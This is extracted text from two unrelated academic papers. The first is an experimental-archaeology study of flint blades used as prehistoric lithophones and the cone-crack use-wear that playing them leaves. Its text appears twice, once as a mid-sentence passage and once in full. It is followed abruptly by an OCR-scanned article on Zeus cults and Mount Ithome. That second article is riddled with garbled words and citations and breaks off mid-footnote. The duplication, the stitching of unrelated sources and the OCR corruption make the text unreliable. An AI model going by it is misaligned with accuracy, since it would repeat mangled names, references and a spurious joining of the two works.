constitutes the narrow context for the research now sketched out, the Lithoacoustics Project. 1 The Lithoacoustics Project The practical origins of the project arose from posing the question "what traces would musical behaviours leave"? It was eventually agreed that it would be worth exploring the materials and the percussive processes involved in flint-knapping to find out (i) whether sounds that could be interpreted as musical could be produced, and (ii) whether producing musical sounds would leave any unambiguous traces. To leap to the interim findings (the project is not yet completed) the answer to the two questions appears to be "yes" and "yes". It was decided to focus on the first instance on the tools and the technologies of the Aurignacian period (about 40,000 to 20,000 BP). This is because peoples of around that time used stalagmitic rock formations in caves as lithophones (Dams, 1985), so it seems reasonable to assume that they might have used other types of stones as well. As soon as we began the process of flint-knapping we realised that we had some potential musical instruments in the blades produced (typical blanks produced using a prepared core technology, see Figure 1 below). Examples of the blades produced and used in the project Figure 1 The easiest way to 'play' a blade is to suspend it between thumb and forefinger (or middle finger) about a quarter of the way along its length and strike it in the middle or at the bottom end, as shown in Figure 2. Playing a blade, here suspended between thumb and middle finger of left hand Figure 2 It transpires that flint blades can be used as idiophones - musical instruments or vibrating objects in which energy input and sound output systems are one and the same - which behave like chime bars; when struck, their first mode of vibration (lowest pitch) has nodal points (points of null displacement) at about 0.224 along their length, and they can produce very clear and quite long-lasting pitched sounds. 2 The acoustical functioning of a chime bar in usual horizontal position (top) and in the vertical position employed in playing the flint blades (middle). The equation (bottom) shows the terms involved in determining the frequency of the first mode of vibration Figure 3 Formal protocols were developed for: (i) categorising the blades - specimens - on the basis of their physical dimensions and attributes; (ii) formalising and quantifying the procedures to be used in sound production; (iii) analysing and categorising the resulting sounds; and (iv) analysing and typologising the damage that accrued to the surface of the blades when they had been used to make sounds. The third author produced and categorised the specimens; then one of the two assistants on the project (the 'performers') used each specimen to make sounds, assessed its 'playability' according to a number of parameters, recorded the sound at the outset of trialling, percussed the blade for five minutes, recorded the sound again, percussed for a further five minutes, and recorded the sound for a last time. The recorded sounds were then analysed (using CERL's Lemur software [available at http://www.cerlsoundgroup.org/Lemur/]); each specimen was then examined under an optical microscope and digital images taken. Finally, the surface damage or use-wear on each specimen was assessed and coded. Some 116 specimens were used, of which 'before' and 'after' microscope photographs were taken of fifteen; two of the specimens were used as percussors. All measurements were entered into a database and the process of analysis was started. The results Sound and performance Taking the sound data first, it was found that, overall, the frequencies, durations and intensities of all specimens conformed to normal distributions; taking the rating of each specimen by the 'performers' into account, clear differences in frequency were found between those specimens rated 'good' and those rated 'acceptable' or 'bad' (see Table 1). 3 principal component frequency principal component duration principal component intensity (kHz) (msec) (dB)* good mean 4.979 good mean 180 good mean -37 acc. mean 7.263 acc. mean 117 acc. mean -37 bad mean 8.097 bad mean 81 bad mean -45 t tests: frequency duration intensity good significantly different good significantly different no significant difference (p<0.0001) from acceptable (p<0.0001) from acceptable between good and acceptable and bad, no significant and bad, acceptable (p>0.10), good and acceptable different (p>0.10) between significantly different significantly different from bad acceptable and bad (p<0.02) from bad (p<0.05 in both cases) *-80 dB noise floor Mean principal frequencies, durations and intensities of good, acceptable and bad specimens, and results of a series of t tests between values Table 1 The mean principal frequency of the 'good' specimens is at the upper end of the usable 'musical' frequency range (after Attneave and Olson, 1970), while those of the 'acceptable' and 'bad' specimens was well outside this range; the duration of the 'good' specimens was considerably greater that both the 'acceptable' and 'bad'; while the intensity of the 'bad' specimens was much lower than both 'good' and 'acceptable' intensities. The consistency of these physical values suggests that the categories in which the specimens were placed by the raters in respect of "playability" are (i) directly relatable to the sound-producing characteristics of the specimens and (ii) real. And substantial inter-rater reliability was evident in a series of t tests which showed no significant differences between additional ratings given by each of the two raters to each specimen on dimensions of "pitchedness", 'resonance", "power" and "piercingness". Further t tests on the recorded sound values for all specimens at the outset and at the end of trialling yielded no evidence that repeated percussion changed the sounding qualities of any specimen. A series of multiple regression analyses (with principal frequency, principal intensity and principal duration as the respective dependent variables and length, width and thickness as the independent variables) showed that for all specimens both length and thickness had highly significant predictive value for the intensity and duration of the sounds produced. However, a more complex variable obtained by dividing the thickness of each specimen by the square of its length (t/L2) provided a very highly significant predictor for frequency in simple regressions for all rated categories. This complex variable was derived from the equation shown in Figure 3 (above) describing the physics of "chime bars",where principal frequency is a complex function of, among other things, length and thickness (though not width). Its functionality as a predictor of the frequencies of the sounds produced confirms that the chime-bar model is operational in respect of these lithic resonators. This set of results can be read as indicating that to a "player" a heuristic indication of the sound- producing capacity of the specimen is immediately available from estimation of its length and (secondarily) its thickness. Use-wear While formal use-wear analysis is not yet complete, it was immediately clear that repeated percussion resulted in the consistent appearance of small densely clustered surface cones or of multiple small, densely clustered small areas of surface polish. Occasionally, small scratches occurred. An instance of surface coning is shown in Figure 4, and an instance of surface polish is shown in Figure 5: Surface coning on specimen 60 Surface polish on specimen 18 Figure 4 Figure 5 4 In many instances, edge damage in the form of small, abrupt, step-terminated or hinge-terminated flake scars were found where playing percussion was near an edge. An instance of this is shown in Figures 6(a) and 6(b): Surface and edge of 104 before percussion Surface and edge of specimen 104 after percussion Note the extensive surface coning and the edge damage Figure 6(a) Figure 6(b) The cone-cracking results from direct, head-on percussion, while the polishes and scratches may result from a softer and more "stroking" impact against the flake surface. In many instances, the cone-fracturing consisted of multiple, overlapping cone-cracks that often occurred in great density, as can be seen in Figure 7 which shows the same surface area before and after percussion. Surface of distal end of specimen 101 before and after percussion Figure 7 One of the most salient features of the cone-cracking wear is its placement. because of the nodal regions on the chime-bar-like blades, musical wear tended to occur most frequently either at the midpoint of the specimen or at the end of the specimen (beyond the nodal region furthest from the suspension point). This non-random distribution is probably unique to musical play, and is localised to the faces on the antinodal areas. The effect can clearly be seen in Figures 8(a) and (b) showing the same surface area (bounded by a circle drawn on the specimen at the distal, far, end): Bounded area on surface of distal end of specimen 108 Bounded area on surface of distal end of specimen 108 after before percussion percussion Figure 8(a) Figure 8(b) 5 Of the three different kinds of damage, the cone-cracking was most consistent and is undoubtedly the most diagnostic use-wear criterion. No other behavioural or geological forces that we can think of are likely to produce the kind of very patterned clustering of cone-cracks as were experimentally produced in musical use. Microscopic images clearly show the patterns of use-wear resulting from this musical use. It is also noteworthy that use-wear intensity varied with the player. one 'performer' produced a wide range of use-wear patterns, including soft, stroking polishes on the surfaces and very seldom produced intensive edge attrition. The other 'performer', on the other hand, tended to strike the resonators more directly and with greater force. Hence, this performer's instruments tended to accrue, very rapidly, much more densely clustered cone-cracks. This latter performer's instruments also were extensively and intensively "retouched" along the marginal edges. Several specimens that were initially unretouched blades or flakes became typologically identifiable "tool" types with extensive alteration of specimen outline. These "retouched" edges were formed by "play" near the edge of the piece, and the force was sufficient to strike off multiple, overlapping retouch flakes. Nonetheless, the patterns of edge retouch are not very similar to intentional technological retouch. Initial survey of museum collections A preliminary examination was then conducted of some of the flint-tool holdings of the Cambridge University Museum of Archaeology and Anthropology. Approximately 425 (10 kg) archaeological specimens were examined from Aurignacian levels of Laugerie Haute, Cro-Magnon, Le Moustier, Masnaigre, and other French Upper Palaeolithic sites (from the Museum's holdings of an estimated 3000 flint specimens of the period). All were scanned for traces of surface use-wear, especially cone-cracking, with a 10x hand lens. Three important observations can be made from this pilot study. First, cone-fracturing on the ventral surfaces of flakes, blades or tools is extremely rare in the archaeological record. Four specimens out of 425 were observed to have a few potential surface cone-cracks on the ventral surface. This means that this kind of damage is not a common result of either a) prehistoric behaviour, b) fortuitous geological processes after deposition in the archaeological deposits, c) excavation damage, d) post- excavation curation damage (bag-damage). Second, cones are potentially recognisable on ancient archaeological specimens, despite raw material variability, surface patination, breakage, or other altering forces. Third, none of the identified specimens approximated the patterns of wear routinely observed on the experimental specimens. It is therefore clear that musical use of flint blades will result in a very different overall pattern and distribution of cone-cracks than other behavioural or fortuitous causes. So far as our limited exploration of the archaeological record is concerned, there appear to be very few instances of blades or flakes with small surface coning, so if it occurs as a result of "natural" circumstances it would seem to be rare and likely to be differentiable from the type of wear that arises from lithic chime percussion. Conclusions At present, the use-wear coding remains to be completed, hence our present conclusions must be qualified somewhat; however, the results that emerge seem to indicate that there are patterns of use-wear on the flint blades that we made and experimented with that are diagnostic of use for sound production. What might be the implications of this? To return to the issues considered at the outset, it appears that we are now in a position to say whether or not Aurignacian-type flint blades have been used as lithophones. We know that they can be, and it appears that doing so leaves diagnostic traces, so we may now be in a position to identify unambiguously traces of sound production, and, perhaps, 'musical' performance, in the archaeological record, which will involve examining whether or not any artefacts that have been interpreted as flint tools were in fact used for sound production and perhaps for music. Differentiation between simple sound production - for example, using a flint blade as a sort of Palaeolithic doorbell - and 'musical' use will always be a matter of interpretation of both the artefact and the find context, but finding, say, a grouping of lithic blades all of which exhibit appropriate and localised cone-cracking would be likely to point towards something like music In this context it would also be of interest to explore whether or not other and earlier lithic tool technologies can be exploited in a similar way for sound production, and if so, what traces of use- wear might result. This project has also shed light on some considerations in exploring the nature of the evidence for sound production in the archaeological record. While it is evident that there will be a relation between patterns of use-wear and the acoustical properties of the objects used to produce sounds, here, a very close fit has been found between acoustical properties and use-wear. This close fit derives from the nature and from the configuration of the materials used and from the constraints that these impose on sound producing action. Indeed, the patterns of use-wear found here should have been predictable in advance from an understanding of the chime-bar like acoustical properties of flint blade idiophones. Although the fit is unlikely to be so close in respect of other materials and configurations (the case of pipes made from bone is one such), it would be worthwhile exploring other materials - bone, wood, and perhaps bamboo - and configurations, particularly where these afford the capacity to be used as idiophones as here the relation between acoustical attributes and use-wear can be expected to be very close. 6 And finally the outcome of the project might have some significance for our understanding of the relation between music and evolution. Music has been posited as sharing its origins with language (Brown, 2000), and as having been adaptive in precipitating the emergence of the cognitive ands social flexibility characteristic of modern humans. But whether or not music has been adaptive, exaptive or even neutral in respect of human evolution, it is still of interest to discover just when a capacity or propensity for music appeared. Music certainly appears early in the behavioural repertoire of Homo sapiens sapiens; the Geissenklösterle pipe at 36,000 BP is a complex artefact that must post-date - and most likely by some considerable period - the emergence of a capacity for music, which pushes the emergence of that capacity back towards the very emergence of Homo sapiens sapiens. The longevity of music as a human behaviour is evident (if seldom recognised). The results of the present project and the directions that it suggests for future research might help answer some questions about the extent of that longevity and whether or not music is a capacity that we shared with our sibling and predecessor species. References Attneave, F. and Olson, R. K. (1971) Pitch as a medium: a new approach to psychophysical scaling. American Journal of Psychology, 84, 147-166. Blades, J. (2001). 'Lithophones'. Entry in The New Grove Dictionary of Music and Musicians, Macmillan: London. Brown, S. (2000) The 'musilanguage' model of music evolution. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 271-300. Cross, I. (1999) Is music the most important thing we ever did ? Music, development and evolution. In Suk Won Yi (Ed) Music, mind and science, Seoul National University Press: Seoul, 1999, pp10-39. Dams, L. (1985) Palaeolithic lithophones: descriptions and comparisons. Oxford Journal of Archaeology, 4(1), 31-46. D'Errico, F. & Villa, P. (1997) Holes and grooves: the contribution of microscopy and taphonomy to the problem of art origins. Journal of Human Evolution, 33(1), 1-31. Dissanayake, E. (2000) Antecedents of the temporal arts in early mother-infant interaction. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 389-410 Frayer, D. W. & Nicolay, C. (2000) Fossil evidence for the origins of speech sounds. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 217-234. Hahn, J. and Münzel, S. (1995) Knochenflöten aus dem Aurignacien des Geissenklösterle bei Blaubeuren, Alb- Donau-Kreis. Fundberichte aus Baden-Württemberg, 20, 1-12. Kunej, D. & Turk, I. (2000) New perspectives on the beginnings of music: archaeological and musicological analysis of a Middle Paleolithic bone 'flute'. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 234-268. Lieberman, P. (1991) Uniquely human. Harvard University Press: Cambridge, Mass. Examples of sounds produced can be found at http://www.mus.cam.ac.uk/~cross/lithoacoustics/ 7 Musical behaviours and the archaeological record: a preliminary study Ian Cross University of Cambridge Faculty of Music Ezra Zubrow University of Cambridge, Department of Archaeology/SUNY Buffalo Frank Cowan Cincinnati Museum Center (preprint of paper published as Cross, I., Zubrow, E. and Cowan, F. (2002) Musical behaviours and the archaeological record: a preliminary study. In J. Mathieu (Ed.), Experimental Archaeology. British Archaeological Reports International Series 1035, 25-34.) The research presented in this paper is funded by a British Academy Small Grant (SG-30046) to Ian Cross and was conducted by in collaboration with Professor Ezra Zubrow of the State University of New York at Buffalo and the Department of Archaeology, University of Cambridge and Dr Frank Cowan of the Cincinnati Museum Center Introduction The research discussed here has three different points of origin: the relation between music and human evolution, specifically, human cognitive evolution; the nature of the evidence for musical behaviours in the archaeological record; and the issue of making musical sounds with stones. One might suppose that music, as a cultural phenomenon, has little to do with evolution. But, from a cognitive-scientific perspective, music is inescapably material, being evidenced in musical behaviours; behind human behaviours lie human minds, and behind human minds lie embodied human brains. Accepting a materialist basis for human behaviours, consideration of evolution's role in those behaviours seems inescapable. Taking an evolutionary approach to human behaviours does not necessitate adoption of a gene- centred ontological reductionism; indeed, it may be that evolutionary perspectives afford excellent frameworks within which an understanding of music as individual minded behaviour - material practice - can be reconciled with an understanding of music as embedded in a nexus of shared ways of understanding - music as culture. The existence of an evolutionary basis for music is unlikely to be explanatory of most of the attributes, significances, purposes and interpretations that can be borne by the music of any particular culture. But it can provide some hypotheses about the dynamics of cognition and interaction that may underlie those attributes, significances, etc. And some recently developed hypotheses about the relation between music and evolution (see Cross, 1999: Brown, 2000: Dissanayake, 2000) constitute the broad context for the present research - specifically, that the emergence of 'musicality' played a significant role in the evolution of modern humans, Homo sapiens sapiens. Turning to the nature of the evidence for musical behaviours in the archaeological record, we run into several problems. What traces would musical behaviours leave? Given that the earliest such behaviours were likely to have been vocal, we are left with trying to make inferences about whether or not any of our predecessors or sibling species had the vocal capacity to articulate the complex timbral and pitch patterns that music requires on the basis of fragmentary human and pre-human remains, and several equally plausible theories appear to lead to different conclusions (see Lieberman, 1991; Frayer & Nicolay, 2000). In any case, all that such research can tell us is whether or not our ancestors had the capacity to produce 'musical' sounds - it can't tell us whether they produced music. Artefacts provide clearer evidence - one might suppose. But there is controversy over just what the earliest musical artefact might be. On one reading, the earliest artefact is an unambiguously musical bone pipe from Geissenklösterle in Germany, dated to about 36,000 BP and associated with modern humans (see Hahn & Münzel, 1995); on another reading, the earliest evidence is a fragment of a bone pipe from Divje babe in Slovenia, dated to around 45,000 BP and associated with Homo neanderthalensis (Kunej & Turk, 2000) - though, alternatively, this 'bone pipe' might have been a hyena's lunch (D'Errico & Villa, 1997). One of the aims of the current research is to attempt to work out ways of identifying whether or not an artefact has been purposively produced by human activity and has been unambiguously employed to make sounds. And finally, we turn to making musical sounds with stones. It seems that most human cultures either do this or have done this; evidence for the use of lithophones - lithic idiophones - stretches from Sweden to southern Africa, from the Canaries through Kenya through Vietnam through China to Potosí in the Bolivian Andes (see the entry for 'Lithophones' in The New Grove Dictionary, 2000). It even crops up in Victorian England, where the brothers Richardson performed on their specially constructed 'geological piano' before Queen Victoria (her response is not recorded). The possibility that our ancestors might have exploited the materials and technologies that they knew best - flint, and the processes of working flint to produce artefacts - for sound- production constitutes the narrow context for the research now sketched out, the Lithoacoustics Project. 1 The Lithoacoustics Project The practical origins of the project arose from posing the question "what traces would musical behaviours leave"? It was eventually agreed that it would be worth exploring the materials and the percussive processes involved in flint-knapping to find out (i) whether sounds that could be interpreted as musical could be produced, and (ii) whether producing musical sounds would leave any unambiguous traces. To leap to the interim findings (the project is not yet completed) the answer to the two questions appears to be "yes" and "yes". It was decided to focus on the first instance on the tools and the technologies of the Aurignacian period (about 40,000 to 20,000 BP). This is because peoples of around that time used stalagmitic rock formations in caves as lithophones (Dams, 1985), so it seems reasonable to assume that they might have used other types of stones as well. As soon as we began the process of flint-knapping we realised that we had some potential musical instruments in the blades produced (typical blanks produced using a prepared core technology, see Figure 1 below). Examples of the blades produced and used in the project Figure 1 The easiest way to 'play' a blade is to suspend it between thumb and forefinger (or middle finger) about a quarter of the way along its length and strike it in the middle or at the bottom end, as shown in Figure 2. Playing a blade, here suspended between thumb and middle finger of left hand Figure 2 It transpires that flint blades can be used as idiophones - musical instruments or vibrating objects in which energy input and sound output systems are one and the same - which behave like chime bars; when struck, their first mode of vibration (lowest pitch) has nodal points (points of null displacement) at about 0.224 along their length, and they can produce very clear and quite long-lasting pitched sounds. 2 The acoustical functioning of a chime bar in usual horizontal position (top) and in the vertical position employed in playing the flint blades (middle). The equation (bottom) shows the terms involved in determining the frequency of the first mode of vibration Figure 3 Formal protocols were developed for: (i) categorising the blades - specimens - on the basis of their physical dimensions and attributes; (ii) formalising and quantifying the procedures to be used in sound production; (iii) analysing and categorising the resulting sounds; and (iv) analysing and typologising the damage that accrued to the surface of the blades when they had been used to make sounds. The third author produced and categorised the specimens; then one of the two assistants on the project (the 'performers') used each specimen to make sounds, assessed its 'playability' according to a number of parameters, recorded the sound at the outset of trialling, percussed the blade for five minutes, recorded the sound again, percussed for a further five minutes, and recorded the sound for a last time. The recorded sounds were then analysed (using CERL's Lemur software [available at http://www.cerlsoundgroup.org/Lemur/]); each specimen was then examined under an optical microscope and digital images taken. Finally, the surface damage or use-wear on each specimen was assessed and coded. Some 116 specimens were used, of which 'before' and 'after' microscope photographs were taken of fifteen; two of the specimens were used as percussors. All measurements were entered into a database and the process of analysis was started. The results Sound and performance Taking the sound data first, it was found that, overall, the frequencies, durations and intensities of all specimens conformed to normal distributions; taking the rating of each specimen by the 'performers' into account, clear differences in frequency were found between those specimens rated 'good' and those rated 'acceptable' or 'bad' (see Table 1). 3 principal component frequency principal component duration principal component intensity (kHz) (msec) (dB)* good mean 4.979 good mean 180 good mean -37 acc. mean 7.263 acc. mean 117 acc. mean -37 bad mean 8.097 bad mean 81 bad mean -45 t tests: frequency duration intensity good significantly different good significantly different no significant difference (p<0.0001) from acceptable (p<0.0001) from acceptable between good and acceptable and bad, no significant and bad, acceptable (p>0.10), good and acceptable different (p>0.10) between significantly different significantly different from bad acceptable and bad (p<0.02) from bad (p<0.05 in both cases) *-80 dB noise floor Mean principal frequencies, durations and intensities of good, acceptable and bad specimens, and results of a series of t tests between values Table 1 The mean principal frequency of the 'good' specimens is at the upper end of the usable 'musical' frequency range (after Attneave and Olson, 1970), while those of the 'acceptable' and 'bad' specimens was well outside this range; the duration of the 'good' specimens was considerably greater that both the 'acceptable' and 'bad'; while the intensity of the 'bad' specimens was much lower than both 'good' and 'acceptable' intensities. The consistency of these physical values suggests that the categories in which the specimens were placed by the raters in respect of "playability" are (i) directly relatable to the sound-producing characteristics of the specimens and (ii) real. And substantial inter-rater reliability was evident in a series of t tests which showed no significant differences between additional ratings given by each of the two raters to each specimen on dimensions of "pitchedness", 'resonance", "power" and "piercingness". Further t tests on the recorded sound values for all specimens at the outset and at the end of trialling yielded no evidence that repeated percussion changed the sounding qualities of any specimen. A series of multiple regression analyses (with principal frequency, principal intensity and principal duration as the respective dependent variables and length, width and thickness as the independent variables) showed that for all specimens both length and thickness had highly significant predictive value for the intensity and duration of the sounds produced. However, a more complex variable obtained by dividing the thickness of each specimen by the square of its length (t/L2) provided a very highly significant predictor for frequency in simple regressions for all rated categories. This complex variable was derived from the equation shown in Figure 3 (above) describing the physics of "chime bars",where principal frequency is a complex function of, among other things, length and thickness (though not width). Its functionality as a predictor of the frequencies of the sounds produced confirms that the chime-bar model is operational in respect of these lithic resonators. This set of results can be read as indicating that to a "player" a heuristic indication of the sound- producing capacity of the specimen is immediately available from estimation of its length and (secondarily) its thickness. Use-wear While formal use-wear analysis is not yet complete, it was immediately clear that repeated percussion resulted in the consistent appearance of small densely clustered surface cones or of multiple small, densely clustered small areas of surface polish. Occasionally, small scratches occurred. An instance of surface coning is shown in Figure 4, and an instance of surface polish is shown in Figure 5: Surface coning on specimen 60 Surface polish on specimen 18 Figure 4 Figure 5 4 In many instances, edge damage in the form of small, abrupt, step-terminated or hinge-terminated flake scars were found where playing percussion was near an edge. An instance of this is shown in Figures 6(a) and 6(b): Surface and edge of 104 before percussion Surface and edge of specimen 104 after percussion Note the extensive surface coning and the edge damage Figure 6(a) Figure 6(b) The cone-cracking results from direct, head-on percussion, while the polishes and scratches may result from a softer and more "stroking" impact against the flake surface. In many instances, the cone-fracturing consisted of multiple, overlapping cone-cracks that often occurred in great density, as can be seen in Figure 7 which shows the same surface area before and after percussion. Surface of distal end of specimen 101 before and after percussion Figure 7 One of the most salient features of the cone-cracking wear is its placement. because of the nodal regions on the chime-bar-like blades, musical wear tended to occur most frequently either at the midpoint of the specimen or at the end of the specimen (beyond the nodal region furthest from the suspension point). This non-random distribution is probably unique to musical play, and is localised to the faces on the antinodal areas. The effect can clearly be seen in Figures 8(a) and (b) showing the same surface area (bounded by a circle drawn on the specimen at the distal, far, end): Bounded area on surface of distal end of specimen 108 Bounded area on surface of distal end of specimen 108 after before percussion percussion Figure 8(a) Figure 8(b) 5 Of the three different kinds of damage, the cone-cracking was most consistent and is undoubtedly the most diagnostic use-wear criterion. No other behavioural or geological forces that we can think of are likely to produce the kind of very patterned clustering of cone-cracks as were experimentally produced in musical use. Microscopic images clearly show the patterns of use-wear resulting from this musical use. It is also noteworthy that use-wear intensity varied with the player. one 'performer' produced a wide range of use-wear patterns, including soft, stroking polishes on the surfaces and very seldom produced intensive edge attrition. The other 'performer', on the other hand, tended to strike the resonators more directly and with greater force. Hence, this performer's instruments tended to accrue, very rapidly, much more densely clustered cone-cracks. This latter performer's instruments also were extensively and intensively "retouched" along the marginal edges. Several specimens that were initially unretouched blades or flakes became typologically identifiable "tool" types with extensive alteration of specimen outline. These "retouched" edges were formed by "play" near the edge of the piece, and the force was sufficient to strike off multiple, overlapping retouch flakes. Nonetheless, the patterns of edge retouch are not very similar to intentional technological retouch. Initial survey of museum collections A preliminary examination was then conducted of some of the flint-tool holdings of the Cambridge University Museum of Archaeology and Anthropology. Approximately 425 (10 kg) archaeological specimens were examined from Aurignacian levels of Laugerie Haute, Cro-Magnon, Le Moustier, Masnaigre, and other French Upper Palaeolithic sites (from the Museum's holdings of an estimated 3000 flint specimens of the period). All were scanned for traces of surface use-wear, especially cone-cracking, with a 10x hand lens. Three important observations can be made from this pilot study. First, cone-fracturing on the ventral surfaces of flakes, blades or tools is extremely rare in the archaeological record. Four specimens out of 425 were observed to have a few potential surface cone-cracks on the ventral surface. This means that this kind of damage is not a common result of either a) prehistoric behaviour, b) fortuitous geological processes after deposition in the archaeological deposits, c) excavation damage, d) post- excavation curation damage (bag-damage). Second, cones are potentially recognisable on ancient archaeological specimens, despite raw material variability, surface patination, breakage, or other altering forces. Third, none of the identified specimens approximated the patterns of wear routinely observed on the experimental specimens. It is therefore clear that musical use of flint blades will result in a very different overall pattern and distribution of cone-cracks than other behavioural or fortuitous causes. So far as our limited exploration of the archaeological record is concerned, there appear to be very few instances of blades or flakes with small surface coning, so if it occurs as a result of "natural" circumstances it would seem to be rare and likely to be differentiable from the type of wear that arises from lithic chime percussion. Conclusions At present, the use-wear coding remains to be completed, hence our present conclusions must be qualified somewhat; however, the results that emerge seem to indicate that there are patterns of use-wear on the flint blades that we made and experimented with that are diagnostic of use for sound production. What might be the implications of this? To return to the issues considered at the outset, it appears that we are now in a position to say whether or not Aurignacian-type flint blades have been used as lithophones. We know that they can be, and it appears that doing so leaves diagnostic traces, so we may now be in a position to identify unambiguously traces of sound production, and, perhaps, 'musical' performance, in the archaeological record, which will involve examining whether or not any artefacts that have been interpreted as flint tools were in fact used for sound production and perhaps for music. Differentiation between simple sound production - for example, using a flint blade as a sort of Palaeolithic doorbell - and 'musical' use will always be a matter of interpretation of both the artefact and the find context, but finding, say, a grouping of lithic blades all of which exhibit appropriate and localised cone-cracking would be likely to point towards something like music In this context it would also be of interest to explore whether or not other and earlier lithic tool technologies can be exploited in a similar way for sound production, and if so, what traces of use- wear might result. This project has also shed light on some considerations in exploring the nature of the evidence for sound production in the archaeological record. While it is evident that there will be a relation between patterns of use-wear and the acoustical properties of the objects used to produce sounds, here, a very close fit has been found between acoustical properties and use-wear. This close fit derives from the nature and from the configuration of the materials used and from the constraints that these impose on sound producing action. Indeed, the patterns of use-wear found here should have been predictable in advance from an understanding of the chime-bar like acoustical properties of flint blade idiophones. Although the fit is unlikely to be so close in respect of other materials and configurations (the case of pipes made from bone is one such), it would be worthwhile exploring other materials - bone, wood, and perhaps bamboo - and configurations, particularly where these afford the capacity to be used as idiophones as here the relation between acoustical attributes and use-wear can be expected to be very close. 6 Kernos Revue internationale et pluridisciplinaire de religion grecque antique 17 | 2004 Varia Cults on Mount Ithome Petros Themelis Publisher Centre international d'étude de la religion grecque antique Electronic version URL: http://kernos.revues.org/1406 Printed version DOI: 10.4000/kernos.1406 Date of publication: 1 janvier 2004 ISSN: 2034-7871 ISSN: 0776-3824 Electronic reference Petros Themelis, « Cults on Mount Ithome », Kernos [Online], 17 | 2004, Online since 22 April 2011, connection on 01 October 2016. URL : http://kernos.revues.org/1406 ; DOI : 10.4000/kernos.1406 The text is a facsimile of the print edition. Kernos J(emos 17 (2004). p. 143-154. CuIts on Mount Ithome Zeus child Spyros Marinatos and Paul Faure have suppOlted the view that the legend of Zeus child was introduced to Crete by the Peloponnesian colonists of LH III. l Most scholars however, Charles Picard, Robert Willetts and James Laager among them, have argued in favour of the Cretan priority.' Madeleine Jost considers as vain the discussion in favour of the Cretan or the Peloponnesian priority of the myth of Zeus child. According to her also the subject of a goddess being accompanied by armed "propoloi" like the Kouretes is frequent in the Aegean. 3 However, the introduction of the cult of Zeus from Crete via the island of Kythera cannot be easily denied, according to my opinion. Who introduced the cult and why are problems not to be discussed here. Hugh Sackett and MacGillivray would like to see Zeus Velkhanos in the "Greatest Kouros", as they call the Minoan statuette of a standing young god in gold, iVOlY, serpentine, and rock Clystal found 1989 in a destruction layer of LM lB (about 1450 B.e.) at Palaikastro.4 The English scholars go as far as to suggest that their excavations at Palaikastro have produced unexpected evidence that the Minoans also worshiped a youthful male divinity whose cult could be the basis for the later Greek cult of the Zeus Kouros, or Zeus as a youth. 5 In the old excavations of Palaikastro the iVOlY statuette of a crouching child as well as a second one of a seated boy have been found. A clay seal impression from the same excavation bears a rare representation of the "Master of AnimaIs" in an early form of "Zeus the Thunderer"." A seal impression from Knossos shows a boy beneath a sheep.7 The ivory group of tow women and a boy, known as the "IVOlY Trio", from the shrine deposit of 1 S. J'vlARINATOS, "Die Wanderung des Zeus", AA (1962), p. 907- 916; P. FAURE, Foncflons des cavernes crétoises, Paris, 1964, p. 120-123. 2 Ch. PICARD, Élémen/s orien/allx dans la religion grecqlle ancien Ile, Paris, 1960, p. 168; R.F. WILLETTS, Cretan Cl/lts and Fesflvals, London 1 New York, 1962, p. 218; J, LAJ\GER, Gebl//1 IInd Kindbeit des Got/es in dergriecbiscben My/bologie, 1975, p. 173-178 and 191-194. j J'vI . .TOST, Sanc/l/aires e/ cl/ltes d'Arcadie, Paris, 1985, p. 248-249. 4 B. SACKElT and S. J'vlACGILLIVRAY, "Boyhood of a God", Arcbaeology 425 (1989), p. 26-31; J,A. J'vlACGILLIVRAY, LB. SACKET, J,J'vL DIUESSEN (eds.), Tbe Plaikas/ro KOl/ros, a Minoan C1.Jlysele- pbanflne Statllelle and ils Bronze Age Contex/, London, 1999, p. 121-147. 5 SACKETT _ J'vIACGILLIVRAY (sllpra n. 4), p. 29. (, Ibid., p. 30- 31. 7 A. EVANS, Tbe Tree and PillaI' Clllt, London, 1901, p. 31, fig. 17; J'vLP. NILSSON, Religion, Lund, 1950, p. 540, fig. 205. 144 P. THEMELIS the palace area at Mycenae (Athens Nat. Mus. inv. no. 771) has been interpreted by some scholars as representing divine Nurses and the child Zeus of Crete.8 The cult of Zeus in the Ida cave, according to the finds of the earlier and the more recent excavations, begins in the S'h centLllY B.C.9 as it does at Messene, the example of Eleithyia (her cult in Amnisos cave) hovvever "argues for at least a partial continuity from Minoan to Greek", as Burkert notes. Hl There also seems to be continuity of the cult in Velchanos sanctuary at Aghia Triada. 11 Velkhanos is the Cretan name of Zeus child or boy, according to Hesychius (s. v.). Young Zeus, Velchanos is depicted on the Fortetza lid walking to the right and holding the thunderbolt in his right and a bird in his left hand. l2 In the known hymn from Palaikastro, youths, in their war dance, invoke Zeus as Velkhanos, dle greatest Kouros to come to Dikte, birthplace of Zeus, to spring in flocks, fields, towns, ships and new citizens. 13 Velkhanos appears on coins of Phaistos and Lyttos as a young beardless man seated in front of the Ida cave with a bird, probably a cock on his lmees, similar in age but not in pose to the young striding "Kouros Megistos" on the coins from Aigion. 14 Roof-tiles from Aghia Triada bearing the name Velkhanos, indicate the place above the ruins of the Minoan palace where the temple of Zeus 8 H. \'(fACE, Ivories from 111ycellae, 110.1: 17Je IvolY Trio, Athens, 1961; G. KORRES, "L111û"Xl 6e01l]1eç ev XIXI EU.crolX", in Proceedillgs of the 2nd Cretological Congress, Athens, 1968, p. 117, no. 1-2; E.T. VERMEUlE, Archaeologica Homerica III, V: G6lterkult, Gèittingen, 1974, p. 53, pl. V, III a,b with bibliography; cl K. PlLAFIDIS-WILLIAMS, The sanctuCII]' ofAphaia ail Aigina in the Bronze Age, IvIünchen, 1998, p. 144, who is wondering if the IVOly-Trio could represent the two aspects (mother and virgin) of one and the same goddess and the divine child. 9 J.A. SAIŒLLARAKIS, "Some Geometrie and Archaic votives from the Idaean Cave", in R. HAGG, N. MARINATOS, G.C. NORDQUIST (eds.), Early Greela Cull Praclices, Proceedillgs of the 5th International Symposium at Ihe Swedish Illstilute al Athens, 26-29 Ci/JUlie 1986, Stockholm, 1988, p. 173-193. Hl W. BURKERT, Greela Religion, Cambridge, 1985, p. 26. Il D. LEVI, ASAtene 3-5 (1941/43), p. 52-69; BURIŒRT (supra n. 10), p. 48, n. 17. 12 D. LEVI, "Cleanings from Crete", 41A 49 (1945), p. 310, fig. 20; J,K. 